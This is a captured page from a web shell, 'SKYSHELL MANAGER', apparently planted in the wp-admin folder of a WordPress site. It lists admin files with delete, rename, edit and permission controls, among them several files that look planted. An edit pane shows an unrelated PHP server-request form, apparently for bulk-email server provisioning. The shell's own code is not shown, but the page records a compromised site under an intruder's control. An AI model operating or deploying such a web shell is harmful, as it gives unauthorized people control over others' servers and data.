📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tools.php
3.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: new-server-requirement.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; error_reporting(E_ALL); ini_set('display_errors', 1); // Ensure user is logged in if (!isset($_SESSION['user'])) { header("Location: index.php"); exit(); } $user = $_SESSION['user']; $user_role = strtolower(trim($user['role'] ?? 'user')); // Define Role Flags (Crucial for Sidebar Condition) $isAdmin = ($user_role === 'admin'); $isManagement = in_array($user_role, ['management', 'admin']); $isManager = ($user_role === 'manager'); $isSales = in_array($user_role, ['sales', 'sales team']); $isServerTeam = in_array($user_role, ['server_team', 'server team']); $isUser = ($user_role === 'user'); // Page-Level Guard: Block Sales & Server Team from accessing this page if ($isSales || $isServerTeam) { $_SESSION['error'] = "You do not have permission to access the Server Requirement page."; header("Location: new-server-status.php"); exit(); } // ---------------------------------------------------- // FETCH COMPANY FROM USER'S ACCESS CONTROL / PERMISSIONS // ---------------------------------------------------- $userCompany = $user['company'] ?? ''; if (empty($userCompany)) { $userId = (int)($user['id'] ?? 0); // Query permissions table for this user $permQuery = mysqli_query($conn, "SELECT companies FROM user_permissions WHERE user_id = {$userId} LIMIT 1"); if ($permQuery && $permRow = mysqli_fetch_assoc($permQuery)) { $allowedCompanies = json_decode($permRow['companies'] ?? '[]', true); if (!empty($allowedCompanies)) { // If "All" is assigned if ($allowedCompanies[0] === 'All') { $compDbQuery = mysqli_query($conn, "SELECT name FROM companies WHERE status = 'Active' ORDER BY id ASC LIMIT 1"); if ($compDbRow = mysqli_fetch_assoc($compDbQuery)) { $userCompany = ucfirst($compDbRow['name']); } else { $userCompany = 'Default Company'; } } else { // Use the first company assigned in Access Control $userCompany = ucfirst($allowedCompanies[0]); } } } } // Fallback if still empty if (empty($userCompany)) { $userCompany = 'Default Company'; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo htmlspecialchars($_SESSION['user']['company_name'] ?? 'Dashboard'); ?> | Server Requirement</title> <link rel="icon" type="image/x-icon" href="<?php echo htmlspecialchars($_SESSION['user']['fav']); ?>"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.3/font/bootstrap-icons.min.css"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet"> <link rel="stylesheet" href="css/style.css"> </head> <body class="dash-body"> <div class="sidebar-backdrop"></div> <!-- ===================== SIDEBAR ===================== --> <aside class="sidebar"> <a href="#" class="sidebar-brand text-decoration-none"> <img src="<?php echo htmlspecialchars($_SESSION['user']['logo']); ?>" alt="company" width="150"> </a> <nav class="sidebar-nav"> <div class="sidebar-section-label">MAIN</div> <!-- ================= 1. SERVER REQUIREMENT DROPDOWN ================= --> <div class="nav-item"> <a class="nav-link dropdown-toggle d-flex align-items-center justify-content-between active" href="#menuRequirement" data-bs-toggle="collapse" role="button" aria-expanded="false" aria-controls="menuRequirement"> <span><i class="bi bi-file-earmark-plus me-2"></i>New Server</span> </a> <div class="collapse show submenu-wrap ps-3" id="menuRequirement"> <?php if (!$isSales && !$isServerTeam): ?> <a href="new-server-requirement.php" class="nav-link submenu-link subactive"> Requirement </a> <?php endif; ?> <a href="new-server-status.php" class="nav-link submenu-link"> Status </a> </div> </div> <!-- ================= 2. SERVER STATUS DROPDOWN ================= --> <div class="nav-item"> <a class="nav-link dropdown-toggle d-flex align-items-center justify-content-between" href="#menuStatus" data-bs-toggle="collapse" role="button" aria-expanded="true" aria-controls="menuStatus"> <span><i class="bi bi-list-check me-2"></i>Existing Server</span> </a> <div class="collapse submenu-wrap ps-3" id="menuStatus"> <?php if (!$isSales && !$isServerTeam): ?> <a href="existing-server-requirement.php" class="nav-link submenu-link"> Requirement </a> <?php endif; ?> <a href="existing-server-status.php" class="nav-link submenu-link"> Status </a> </div> </div> <!-- ================= 3. MANAGEMENT ================= --> <?php if($isManagement || $isAdmin): ?> <div class="sidebar-section-label mt-3">MANAGEMENT</div> <a href="manage-users.php" class="nav-link"><i class="bi bi-people me-2"></i> Manage Users</a> <?php endif; ?> </nav> <div class="sidebar-footer"> <div class="mt-4 small text-center text-muted"> <small>Developed by - Redaries</small> </div> </div> </aside> <!-- ===================== MAIN ===================== --> <div class="main-wrap"> <div class="topbar d-flex justify-content-between align-items-center"> <div class="d-flex align-items-center gap-3"> <button class="btn btn-menu btn-outline-secondary d-md-none"><i class="bi bi-list"></i></button> <div> <div class="fw-bold fs-5">Server Requirement</div> <div class="breadcrumb-mini text-muted small">Dashboard / Server Requirement</div> </div> </div> <div class="d-flex align-items-center gap-3"> <div class="dropdown"> <button class="btn btn-light dropdown-toggle d-flex align-items-center gap-2 border" type="button" data-bs-toggle="dropdown" aria-expanded="false"> <i class="bi bi-person-circle text-primary fs-5"></i> <span class="fw-semibold small"><?php echo htmlspecialchars($user['username'] ?? 'User'); ?></span> </button> <ul class="dropdown-menu dropdown-menu-end shadow-sm border-0"> <li> <a class="dropdown-item text-danger d-flex align-items-center gap-2" href="logout.php"> <i class="bi bi-box-arrow-right"></i> Logout </a> </li> </ul> </div> </div> </div> <div class="page-content p-4"> <!-- Flash Notifications --> <?php if(isset($_SESSION['success'])): ?> <div class="alert alert-success alert-dismissible fade show mb-4" role="alert"> <i class="bi bi-check-circle-fill me-2"></i> <?php echo $_SESSION['success']; unset($_SESSION['success']); ?> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div> <?php endif; ?> <?php if(isset($_SESSION['error'])): ?> <div class="alert alert-danger alert-dismissible fade show mb-4" role="alert"> <i class="bi bi-exclamation-triangle-fill me-2"></i> <?php echo $_SESSION['error']; unset($_SESSION['error']); ?> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div> <?php endif; ?> <div class="row g-4"> <!-- Main Form Section --> <div class="col-lg-8"> <div class="card-panel"> <div class="card-panel-head d-flex justify-content-between align-items-center mb-3"> <h6 class="fw-bold mb-0"><i class="bi bi-plus-circle me-2 text-primary"></i>New Server Requirement</h6> <span class="text-muted small">Fields marked <span class="text-danger">*</span> are required</span> </div> <div class="card-panel-body"> <form action="requirement_submit.php" method="post"> <!-- Requester Details --> <h6 class="fw-bold text-primary mb-3"><i class="bi bi-person-badge me-1"></i> Requester Details</h6> <div class="row g-3 mb-4"> <div class="col-md-6"> <label class="form-label fw-semibold small">Buyer Name <span class="text-danger">*</span></label> <input type="text" name="username" class="form-control bg-light" value="<?php echo htmlspecialchars($user['username'] ?? ''); ?>" readonly> </div> <!-- READONLY COMPANY FIELD FROM ACCESS CONTROL --> <div class="col-md-6"> <label class="form-label fw-semibold small">Company <span class="text-danger">*</span></label> <input type="text" name="company" class="form-control bg-light" value="<?php echo htmlspecialchars($userCompany); ?>" readonly> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Department <span class="text-danger">*</span></label> <select name="department" id="department" class="form-select" required> <option value="">Select Department</option> <option value="Production">Production</option> <option value="Technical">Technical</option> </select> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Team <span class="text-danger">*</span></label> <select name="team" id="team" class="form-select" required> <option value="">Select Team</option> </select> </div> </div> <!-- Server Details --> <h6 class="fw-bold text-primary mb-3"><i class="bi bi-hdd-rack me-1"></i> Server Details</h6> <div class="row g-3 mb-4"> <div class="col-md-6"> <label class="form-label fw-semibold small">Class <span class="text-danger">*</span></label> <select name="class" id="class" class="form-select" required> <option value="">Select Class</option> <option value="Bigclass">Big Class</option> <option value="Smallclass">Small Class</option> </select> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Subnet <span class="text-danger">*</span></label> <select name="subnet" id="subnet" class="form-select" required> <option value="">Select Subnet</option> </select> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Network Provider <span class="text-danger">*</span></label> <select name="network_provider" id="network_provider" class="form-select" required> <option value="">Select Provider</option> </select> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Host Name</label> <input type="text" name="hostname" class="form-control" placeholder="Domain Name"> </div> <div class="col-md-12" id="emailTrackingBox" style="display:none;"> <div class="card p-3 border-0 bg-light"> <label class="form-label fw-semibold small mb-2">Email Tracking</label> <div class="form-check"> <input class="form-check-input" type="checkbox" name="email_tracking" id="email_tracking" value="1"> <label class="form-check-label" for="email_tracking"> Enable Email Tracking System </label> </div> </div> </div> </div> <!-- Priority & Timeline --> <h6 class="fw-bold text-primary mb-3"><i class="bi bi-flag me-1"></i> Priority & Timeline</h6> <div class="row g-3 mb-4"> <div class="col-md-6"> <label class="form-label fw-semibold small">Priority</label> <select name="priority" class="form-select" required> <option value="low">Low</option> <option value="medium" selected>Medium</option> <option value="high">High</option> <option value="urgent">Urgent</option> </select> </div> <div class="col-md-6"> <label class="form-label fw-semibold small">Required By Date</label> <input type="date" name="required_by" class="form-control" min="<?php echo date('Y-m-d'); ?>"> </div> <div class="col-12"> <label class="form-label fw-semibold small">Additional Short Notes / Justification</label> <textarea name="notes" class="form-control" rows="4" placeholder="Describe the purpose of this server and any special requirements..."></textarea> </div> </div> <div class="d-flex gap-2"> <button type="submit" class="btn btn-primary px-4"><i class="bi bi-send me-1"></i> Submit Requirement</button> <button type="reset" class="btn btn-outline-secondary px-4">Clear Form</button> </div> </form> </div> </div> </div> </div> </div> </div> <script> const teams = { Production: ["Yahoo", "AOL", "Hotmail", "Cables", "Others"], Technical: ["CNAME", "Redirection", "Database", "Others"] }; const department = document.getElementById("department"); const teamSelect = document.getElementById("team"); const emailTrackingBox = document.getElementById("emailTrackingBox"); const emailTracking = document.getElementById("email_tracking"); department.addEventListener("change", function () { const selectedDepartment = this.value; teamSelect.innerHTML = '<option value="">Select Team</option>'; if (teams[selectedDepartment]) { teams[selectedDepartment].forEach(function(team) { const option = document.createElement("option"); option.value = team; option.textContent = team; teamSelect.appendChild(option); }); } if (selectedDepartment === "Production") { emailTrackingBox.style.display = "block"; } else { emailTrackingBox.style.display = "none"; emailTracking.checked = false; } }); const Subnets = { Bigclass: ["/24", "/23", "/22"], Smallclass: ["/30", "/29", "/28", "/27", "/26", "/25"] }; const providers = { Bigclass: [ "DMS", "GZ System", "Hosthrone", "HostVantage", "IP Traders", "IPv4Depot", "IPv4Online", "Larus", "Main VPS", "PubConcierge", "ServerHub", "ServerMania", "Kontrast", "All Tech Cloud Services", "Others" ], Smallclass: [ "Leaseweb - UK", "1and1", "BigRock", "Cari.net", "Contabo", "Datawagon", "InMotion Hosting", "MassiveGrid", "OVHcloud", "SharkTech", "Virtual System", "ColoCrossing", "AlexHost", "Others" ] }; document.getElementById("class").addEventListener("change", function () { const selectedClasses = this.value; const subnetSelect = document.getElementById("subnet"); const providerSelect = document.getElementById("network_provider"); subnetSelect.innerHTML = '<option value="">Select Subnet</option>'; providerSelect.innerHTML = '<option value="">Select Provider</option>'; if (Subnets[selectedClasses]) { Subnets[selectedClasses].forEach(function(item) { let option = document.createElement("option"); option.value = item; option.text = item; subnetSelect.appendChild(option); }); } if (providers[selectedClasses]) { providers[selectedClasses].forEach(function(item) { let option = document.createElement("option"); option.value = item; option.text = item; providerSelect.appendChild(option); }); } }); </script> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/js/bootstrap.bundle.min.js"></script> <script src="js/app.js"></script> </body> </html>
Save